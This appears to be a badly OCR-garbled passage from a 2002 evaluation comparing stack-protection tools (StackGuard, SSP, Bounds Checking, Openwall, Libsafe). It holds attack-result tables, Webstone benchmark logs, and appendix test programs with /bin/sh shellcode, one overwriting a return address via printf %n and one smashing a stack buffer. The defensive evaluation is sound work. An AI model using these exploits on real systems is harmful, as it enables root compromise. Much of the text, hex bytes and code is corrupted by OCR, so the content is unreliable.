8 save_errno = errno;
9 if (fd >=0) {
10 fd = ap_slack(fd, AP_SLACK_HIGH);
11 ap_note_cleanups_for fd(a, fd);
12 }
13 ap_unblock alarms();
14 errno = save_errno;
15 return fd;
16 }
53. dloc.c
wu-ftpd: wu-ftpd FTP
wu-ftpd2.6.0
setproctitle() vsprintf()

1 /* print ftpd: heading for grep */
2 (void) strcpy(p, "ftpd: "');
3 p += strlen(p);
4
5 /* print the argument string */
6 VA _START(fmt);
7 (void) vsnprintf(p, SPACELEFT (buf, p), fmt, ap);
8 VA END:;

54. ftpd.c



Originall: libsafe

StackGuard (SG) Stack Smashing Protector (SSP)
(Openwall) Libsafe (LS)

D
Original2:
3.13.
3
1
2.
3.2
313 3
321
312 8
1
2. SG SsP
3. BC
4. OWL
5. LS

LS

BC

LS

printf()

Bounds Checking (BC) OWL



# S s BC OWL LS
1 | bind8.1.1 Root Core Halt Core Core Halt
2 | gpopper2.4 Root Halt Halt Halt Halt Halt
3 | dm23.0 Root Core Halt Halt Halt Halt
4 | imapd3.6 Root Halt Halt Halt Halt Halt
5 | apachel.1.3 File File File File Halt File
6 | wu-ftpd2.6.0 Root Core Core Core Core Root
7 | Origina 1 Root Root Root Root Core Halt
8 | Origina 2 Root Root Halt Halt Core Root
Root - Core -
File - File Halt -
6.
6
StackGuard
Stack Smashing Protector Bounds Checking
1 Libsafe
Libsafe
Stack Smashing Protector
Bounds Checking
To = O
55.



322

Mindcraft

Web
1 Web
apache 2043
2. SG SSP BC
Apache
3. OWL LS Apache
2.5)
5. 8 64 128 3

1
(connections/sec)

10

Webstone

Web
Web

Web

(Mbits/sec)

8 40.17 0.199 6.60
1 64 40.12 1.554 6.33
128 42.15 2.892 6.05
8 44.88 0.178 6.57
2| SG 64 42.32 1.491 6.28
128 41.62 2.950 6.16
8 43.78 0.182 6.54
3 | SSP 64 4351 1.443 6.32
128 41.71 2.935 6.08
8 39.76 0.200 6.45
4 | BC 64 40.71 1.548 6.27
128 39.35 3.152 6.08
8 40.04 0.199 6.67
5 | OWL 64 43.18 1.465 6.37
128 41.85 2.963 6.19
8 41.80 0.191 6.61
6 | LS 64 38.83 1.568 6.25
128 41.09 2.941 6.09




10

3

N

32

/ o
? Bsc
ossp
/ osc
mow
56.
BC OWL
SSP
SG LS
BC 7
1 o
3.05¢ [ Ed
Ossp
3F ’ osc
mowL
2.05¢ oLs

57.



BC
LS

BC apache
apache apache

GCC

BC

SSP SG

BC

BC

BC

15

BC



323

#
1 |0s x o o -
2 x o - o
3 x X x o)
4 X X X o
5 X X o
6 X x X X o
8.
oS Stack Smashing Protector ~ Bounds checking
StackGuard
Intel
Libsafe
oS
StackGuard  Stack Smashing
Protector Bounds Checking
Openwall
Libsafe

StackGuard  Stack Smashing
Protector  syslog
Bounds Checking

Libsafe  StackGuard  Stack Smashing Protector
Libsafe
dump
Libsafe

Libsafe



3.3.

331 SackGuard
StackGuard ~ Stack Smashing Protector

Stack Smashing Protector

StackGuard

3.3.2. Sack Smashing Protector
Stack Smashing Protector

Stack Smashing Protector

Stack Smashing Protector

3.3.3. BoundsChecking
Bounds Checking  Stack Smashing Protector
Stack Smashing Protector

Stack Smashing Protector
Bounds Checking

apache
Bounds Checking



3.34. Openwall

Openwall
Openwall
Openwall
Openwall
3.35. Libsafe
Libsafe
C
Stack Smashing Protector
Stack Smashing Protector



Libsafe
Smashing Protector Libsafe

Stack Smashing Protector

OowL
oS

(ON) (O]

Libsafe

Stack

Stack Smashing Protector
Stack Smashing Protector

Libsafe
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1. Janus
Janus

http://www.cs.berkel ey.edu/~daw/janus/

2. FormatGurad

WireX

3. BOwall
BOWall

WindowsNT

4. StackShield
StackShield  StackGuard BOWall

http://www.angelfire.com/sk/stackshield/

glibc
StackGuard



Rational: PurifyPlus
AN

Compuware: DevPartner
Visual Studio IDE

Par asoft: insure++
C/C++
v

http://www.techmatrix.co.jp/asg/insure

Solaris

Solaris Openwall
noexec_user _stack

Microsoft Visual C++

Microsoft C/C++ /IGS

StackGuard
IGS

I/0

Openwall

http://www.microsoft.com/japan/msdn/vs/vc/vetchCompil er Security CheckslnDepth.asp




D.

Originall

*libsafe2.0.16

1 /*

2 * $Name: release2 0-16 $

3 * $Id: canary-exploit.c,v 1.4 2001/06/19 18:22:15 ttsai Exp $

5 */

6

7

8 #include <stdio.h>

9 #include <sys/types.h>

10 #include <stdlib.h>

11

12 char shellcode[] =

13 "¥xeb¥x 1f¥x5e¥x89¥X76¥X08¥x31¥XC0¥x88¥x46¥x07¥x89¥x46¥x0c¥xb0¥x0b"
14 ""¥xB9¥xTI¥XBA¥Xx4e¥X08¥XxBd¥Xx56¥Xx0c¥xcd¥x80¥x31¥xdb¥x89¥xd8¥x40¥xcd"
15 ""¥x80¥xe8¥xdc¥xfi¥xfi¥xff/bin/sh";

16

17 void foo(caddr t ra)

18 {

19 caddr_t *ra_ptr;

20 FILE *fp;

21 caddr_t *nextfp;

22

23 printf(*'This program tries to use printf(¥"'%%n¥") to overwrite the¥n");
24 printf("'return address on the stack.¥n");

25 printf("'If you get a /bin/sh prompt, then the exploit has worked.¥n");
26 printf(""Press any key to continue...");

27 getchar();

28

29 nextfp = _builtin_frame_address(1);

30

31 /*

32 * Find the location of the return address on the stack.

33 */

34 for (ra_ptr=_builtin_frame_address(0)+4; *ra_ptrl=ra; ra_ptr++) {

35 if (ra_ptr >= nextfp) {

36 printf(*"Unable to find the return address on the stack!¥n');
37 exit(1);

38 }

39 }

40

41 /*

42 * Qverwrite the return address with the starting address to the attack
43 * code. We need to redirect the output to /dev/null, since we're not
44 * really interested in the output of fprintf, just the value written via
45 * the %n conversion.

46 */

47 fp = fopen(**/dev/null”, ""w");



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

fprintf(fp, ""%.*d%n¥n", (int)shellcode, 0, (int *)ra_ptr);
fclose(fp);
}

int main(int ac, char *av[])
{
/*
* main() is written mostly in assembly to avoid the differences due to
* different compilers and compiler optimizations. The following
* instructions push the return address from foo() onto the stack and then
* call foo(). We have to explicitly pass the return address to foo(),
* because foo() needs to search for the location of the return address on
* the stack. This search is necessary because some compilers may not
* place the return address immediately before the frame pointer, which
* causes _builtin_return_address(0) to fail.
*/
_asm___volatile_(
“"push  $0f"
"call foo;"
"0: add $4 %%esp™

),

return O;



Original2

O©CoOoO~NO UL WN PR

#include <stdio.h>

char shellcode[] =
"¥xeb¥x1f¥x5e¥xX89¥X76¥X08¥X31¥XcO¥XB8¥x46¥X07¥Xx89¥x46¥Xx0c¥xb0¥x0b"
""¥xB9¥xf3¥x8d¥x4e¥Xx08¥x8d¥X56¥X0c¥xXcd¥x80¥x31¥xdb¥x89¥xd8¥x40¥xcd"
""¥x80¥xe8¥xdc¥xff¥xff¥xff/bin/sh";

char large_string[97];

int func()

{
}

long *long_ptr;
int main(int argc, char **argv)

printf(*print func¥n™);

int i;
int (*pfunc)() = func;
char buf[96];

long_ptr = (long *)large_string;
for (i=0;i<97; i++)
*(long_ptr+i) = (int)buf;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buf, large_string);
pfunc();
return(0);



E.
StackGuard

e+ Talnet 1087 10145

58. qgpopper

59. imap



SSP

60. bind

61. qpopper



o= Talnat 10110145

<o Telned T0ET.T04%

62. em

63. imap



e Tl TOEN T80

64. Origina2



Bounds Checking

65. qpopper

e Tt TOUHT. T 4%

66. em



=+ Talnat 10EL 1041

68. Origina2



Openwall

69. qpopper

<% Tainat 100110145

70. éem



o Tenet 1008110145

72. apache



Libsafe

i Telnet 1008110046

73. bind



=% Tainag 1007 10145

74. qgpopper

75. dm



=+ Trlned 108010047

76. imap

=7 Telnet 10061 100145

77. Original



NORMAL (8)

Total number of clients: 8

Test time: 10 minutes
Server connection rate: 40.17 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.60 Mbit/sec
Little"s Load Factor: 7.98

Average response time: 0.199 sec
Error Level: 0.00 %
Average client thruput: 0.83 Mbit/sec
Sum of client response times: 4788.19 sec
Total number of pages read: 24105

24105 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.034894 0.270936
Response time (sec) 0.198639 0.912878
Response size (bytes) 20523 179083
Body size (bytes) 20255 179083

Minimum

0.000643

0.002920
766
500

Maximum
3.493988
45.417070
5243153
5242880

488248560 body bytes moved + 6447413 header bytes moved = 494695973 total

Sun Jan 27 16:42:47 2002

NORMAL (64)
Total number of clients: 64

Test time: 10 minutes

Server connection rate: 40.12 connections/sec
Server error rate: 0.00 err/sec

Server thruput: 6.33 Mbit/sec
Little"s Load Factor: 62.33

Average response time: 1.554 sec

Error Level: 0.00 %

Average client thruput: 0.10 Mbit/sec

Sum of client response times: 37398.05 sec

Total number of pages read: 24069

24069 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.225955 0.772167
Response time (sec) 1.553785 5.482016
Response size (bytes) 19711 172196
Body size (bytes) 19443 172195

Minimum

0.000706

0.002963
766
500

Maximum
9.889799
430.862017
5243153
5242880

467980500 body bytes moved + 6437621 header bytes moved = 474418121 total

Sun Jan 27 18:24:36 2002



NORMAL (128)
Total number of clients: 128

Test time: 10 minutes

Server connection rate: 42 .15 connections/sec
Server error rate: 0.01 err/sec

Server thruput: 6.05 Mbit/sec
Little"s Load Factor: 121.90

Average response time: 2.892 sec

Error Level: 0.02 %

Average client thruput: 0.05 Mbit/sec

Sum of client response times: 73137.63 sec

Total number of pages read: 25292

25292 connection(s) to server, 4 errors

Average Std Dev
Connect time (sec) 0.375281 1.044428
Response time (sec) 2.891730 9.808786
Response size (bytes) 17933 147633
Body size (bytes) 17665 147633

Minimum

0.000651

0.002988
766
500

Maximum
9.918069
434.075624
5243153
5242880

446787040 body bytes moved + 6764560 header bytes moved = 453551600 total

Sun Jan 27 16:29:08 2002

SG (8)

Total number of clients:8

Test time: 10 minutes
Server connection rate: 44 .88 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.57 Mbit/sec
Little"s Load Factor: 7.98

Average response time: 0.178 sec
Error Level: 0.00 %
Average client thruput: 0.82 Mbit/sec
Sum of client response times: 4790.62 sec
Total number of pages read: 26929

26929 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.030832 0.247242
Response time (sec) 0.177898 0.771171
Response size (bytes) 18306 147810
Body size (bytes) 18037 147810

Minimum

0.000640

0.002954
767
500

Maximum
3.452552
21.677804
5243154
5242880

485725280 body bytes moved + 7229422 header bytes moved = 492954702 total

Sun Jan 27 17:14:59 2002

SG (64)
Total number of clients: 64

Test time: 10 minutes
Server connection rate: 42 .32 connections/sec



Server error rate: 0.00 err/sec

Server thruput: 6.28 Mbit/sec
Little"s Load Factor: 63.08

Average response time: 1.491 sec
Error Level: 0.00 %
Average client thruput: 0.10 Mbit/sec
Sum of client response times: 37846.23 sec
Total number of pages read: 25390

25390 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.216224 0.760556
Response time (sec) 1.490596 5.138425
Response size (bytes) 18547 157919
Body size (bytes) 18278 157919

Minimum

0.000646

0.002968
767
500

Maximum
9.105652
309.486457
5243154
5242880

464084900 body bytes moved + 6816243 header bytes moved = 470901143 total

Sun Jan 27 18:38:08 2002

SG (128)

Total number of clients: 128

Test time: 10 minutes
Server connection rate: 41.62 connections/sec
Server error rate: 0.04 err/sec
Server thruput: 6.16 Mbit/sec
Little"s Load Factor: 122.79
Average response time: 2.950 sec
Error Level: 0.09 %
Average client thruput: 0.05 Mbit/sec
Sum of client response times: 73672.89 sec
Total number of pages read: 24971

24971 connection(s) to server, 23 errors

Average Std Dev
Connect time (sec) 0.376435 1.032545
Response time (sec) 2.950338 9.371805
Response size (bytes) 18514 152553
Body size (bytes) 18246 152552

Minimum

0.000682

0.003009
767
500

Maximum
9.787255
310.590930
5243154
5242880

455613460 body bytes moved + 6703866 header bytes moved = 462317326 total

Sun Jan 27 14:12:58 2002

SSP (8)

Total number of clients:8

Test time: 10 minutes

Server connection rate: 43.78 connections/sec
Server error rate: 0.00 err/sec

Server thruput: 6.54 Mbit/sec
Little"s Load Factor: 7.96

Average response time: 0.182 sec



Error Level: 0.00 %
Average client thruput: 0.82 Mbit/sec
Sum of client response times: 4778.91 sec
Total number of pages read: 26271
26271 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.031753 0.253767
Response time (sec) 0.181908 0.781325
Response size (bytes) 18669 152908
Body size (bytes) 18403 152908

Minimum

0.000646

0.002909
765
500

Maximum
3.478228
21.594136
5243152
5242880

483458040 body bytes moved + 7000141 header bytes moved = 490458181 total

Sun Jan 27 17:39:04 2002

SSP (64)

Total number of clients: 64
Test time:

Server connection rate:
Server error rate:

Server thruput:

Little"s Load Factor:
Average response time:
Error Level:

Average client thruput:

Sum of client response times
Total number of pages read:

26108 connection(s) to serve

Connect time (sec)
Response time (sec)
Response size (bytes)
Body size (bytes)

10 minutes
43.51 connections/sec
0.00 err/sec
6.32 Mbit/sec
62.79
1.443 sec
0.00 %
0.10 Mbit/sec
: 37676.99 sec

26108
r, 0 errors
Average Std Dev
0.218484 0.758718
1.443120 4.609993
18158 145961
17892 145960

Minimum

0.000668

0.002974
765
500

Maximum
9.085269
309.723131
5243152
5242880

467117440 body bytes moved + 6956837 header bytes moved = 474074277 total

Sun Jan 27 18:53:56 2002

SSP (128)

Total number of clients: 128
Test time:

Server connection rate:
Server error rate:

Server thruput:

Little"s Load Factor:
Average response time:
Error Level:

Average client thruput:

Sum of client response times:

Total number of pages read:

10 minutes

41.71 connections/sec
0.20 err/sec

6.08 Mbit/sec

122.44

2.935 sec

0.47 %

0.05 Mbit/sec
73462.64 sec

25027



25027 connection(s) to server, 117 errors

Average Std Dev Minimum
Connect time (sec) 0.364011 1.020486 0.000682
Response time (sec) 2.935336 11.007370 0.003002
Response size (bytes) 18213 158398 765
Body size (bytes) 17947 158398 500

Maximum
9.786662
437.149517
5243152
5242880

449150540 body bytes moved + 6668694 header bytes moved = 455819234 total

Sun Jan 27 14:33:43 2002

BC (8)

Total number of clients:8

Test time: 10 minutes
Server connection rate: 39.76 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.45 Mbit/sec
Little"s Load Factor: 7.95

Average response time: 0.200 sec
Error Level: 0.00 %
Average client thruput: 0.81 Mbit/sec
Sum of client response times: 4771.67 sec
Total number of pages read: 23854

23854 connection(s) to server, 0 errors

Average Std Dev Minimum
Connect time (sec) 0.030796 0.247266 0.000636
Response time (sec) 0.200037 0.867323 0.004493
Response size (bytes) 20286 176830 767
Body size (bytes) 20018 176829 500

Maximum
3.460113
22 .547507
5243154
5242880

477510020 body bytes moved + 6403999 header bytes moved = 483914019 total

Sun Jan 27 17:59:16 2002

BC (64)

Total number of clients: 64

Test time: 10 minutes
Server connection rate: 40.71 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.27 Mbit/sec
Little"s Load Factor: 63.01

Average response time: 1.548 sec
Error Level: 0.00 %
Average client thruput: 0.10 Mbit/sec
Sum of client response times: 37806.53 sec
Total number of pages read: 24426

24426 connection(s) to server, 1 errors

Average Std Dev Minimum

Maximum



Connect time (sec) 0.224709 0.808342 0.000655 9.879038

Response time (sec) 1.547799 4516756 0.004486  190.263777
Response size (bytes) 19258 167644 767 5243154
Body size (bytes) 18990 167644 500 5242880

463845480 body bytes moved + 6557442 header bytes moved = 470402922 total
Sun Jan 27 19:08:09 2002

BC (128)

Total number of clients: 128

Test time: 10 minutes
Server connection rate: 39.35 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.08 Mbit/sec
Little"s Load Factor: 124.03
Average response time: 3.152 sec
Error Level: 0.00 %
Average client thruput: 0.05 Mbit/sec
Sum of client response times: 74418.26 sec
Total number of pages read: 23611

23611 connection(s) to server, 1 errors

Average Std Dev Minimum Maximum
Connect time (sec) 0.374987 0.997631 0.000659 10.019793
Response time (sec) 3.151847 9.592153 0.004680 330.941377
Response size (bytes) 19312 167013 767 5243154
Body size (bytes) 19043 167013 500 5242880

449634426 body bytes moved + 6338484 header bytes moved = 455972910 total
Sun Jan 27 15:23:54 2002

LS (8)

Total number of clients:8

Test time: 10 minutes
Server connection rate: 41.80 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.61 Mbit/sec
Little"s Load Factor: 7.98

Average response time: 0.191 sec
Error Level: 0.00 %
Average client thruput: 0.83 Mbit/sec
Sum of client response times: 4789.36 sec
Total number of pages read: 25082

25082 connection(s) to server, 0 errors

Average Std Dev Minimum Maximum
Connect time (sec) 0.032199 0.254504 0.000634 3.511930
Response time (sec) 0.190948 0.927311 0.002965 53.436833
Response size (bytes) 19770 175455 766 5243153

Body size (bytes) 19503 175455 500 5242880



489167740 body bytes moved + 6708412 header bytes moved = 495876152 total
Sun Jan 27 16:58:45 2002

LS (64)

Total number of clients: 64

Test time: 10 minutes
Server connection rate: 39.83 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.25 Mbit/sec
Little"s Load Factor: 62.47

Average response time: 1.568 sec
Error Level: 0.00 %
Average client thruput: 0.10 Mbit/sec
Sum of client response times: 37479.93 sec
Total number of pages read: 23898

23898 connection(s) to server, 0 errors

Average Std Dev Minimum Maximum
Connect time (sec) 0.230647 0.778172 0.000655 9.094174
Response time (sec) 1.568329 4.952348 0.002981  190.785518
Response size (bytes) 19608 169528 766 5243153
Body size (bytes) 19341 169528 500 5242880

462208500 body bytes moved + 6391825 header bytes moved = 468600325 total
Sun Jan 27 19:38:30 2002

LS (128)

Total number of clients: 128

Test time: 10 minutes
Server connection rate: 41.09 connections/sec
Server error rate: 0.02 err/sec
Server thruput: 6.09 Mbit/sec
Little"s Load Factor: 120.85
Average response time: 2.941 sec
Error Level: 0.06 %
Average client thruput: 0.05 Mbit/sec
Sum of client response times: 72507.14 sec
Total number of pages read: 24657

24657 connection(s) to server, 14 errors

Average Std Dev Minimum Maximum
Connect time (sec) 0.399934 1.097292 0.000670 9.978604
Response time (sec) 2.940631 8.927375 0.003000 312.653036
Response size (bytes) 18530 149833 766 5243153
Body size (bytes) 18262 149833 500 5242880

450297149 body bytes moved + 6595028 header bytes moved = 456892177 total
Sun Jan 27 15:49:26 2002



OWL (8)
Total number of clients: 8

Test time: 10 minutes

Server connection rate: 40.04 connections/sec
Server error rate: 0.00 err/sec

Server thruput: 6.67 Mbit/sec
Little"s Load Factor: 7.97

Average response time: 0.199 sec

Error Level: 0.00 %

Average client thruput: 0.84 Mbit/sec

Sum of client response times: 4784.63 sec

Total number of pages read: 24023

24023 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.037531 0.274811
Response time (sec) 0.199169 0.855230
Response size (bytes) 20827 188263
Body size (bytes) 20560 188263

Minimum

0.000640

0.002955
766
500

Maximum
3.426061
21.637872
5243153
5242880

493906900 body bytes moved + 6425391 header bytes moved = 500332291 total

Sun Jan 27 20:26:46 2002

OWL (64)

Total number of clients: 64

Test time: 10 minutes
Server connection rate: 43.18 connections/sec
Server error rate: 0.00 err/sec
Server thruput: 6.37 Mbit/sec
Little"s Load Factor: 63.27

Average response time: 1.465 sec
Error Level: 0.00 %
Average client thruput: 0.10 Mbit/sec
Sum of client response times: 37960.42 sec
Total number of pages read: 25908

25908 connection(s) to server, 0 errors

Average Std Dev
Connect time (sec) 0.229178 0.784837
Response time (sec) 1.465201 4.308083
Response size (bytes) 18432 156299
Body size (bytes) 18165 156299

Minimum

0.000653

0.002983
766
500

Maximum
9.915551
189.432814
5243153
5242880

470615580 body bytes moved + 6929553 header bytes moved = 477545133 total

Sun Jan 27 20:14:54 2002

OWL (128)

Total number of clients: 128
Test time: 10 minutes
Server connection rate: 41.85 connections/sec



Server error rate: 0.02 err/sec

Server thruput: 6.19 Mbit/sec
Little"s Load Factor: 124.00
Average response time: 2.963 sec
Error Level: 0.05 %
Average client thruput: 0.05 Mbit/sec
Sum of client response times: 74397.86 sec
Total number of pages read: 25109

25109 connection(s) to server, 12 errors

Average Std Dev
Connect time (sec) 0.402327 1.078189
Response time (sec) 2.962996 8.727517
Response size (bytes) 18491 149076
Body size (bytes) 18224 149075

Minimum

0.000690

0.002969
766
500

Maximum
9.778176
266.861556
5243153
5242880

457585836 body bytes moved + 6715467 header bytes moved = 464301303 total

Sun Jan 27 19:56:28 2002





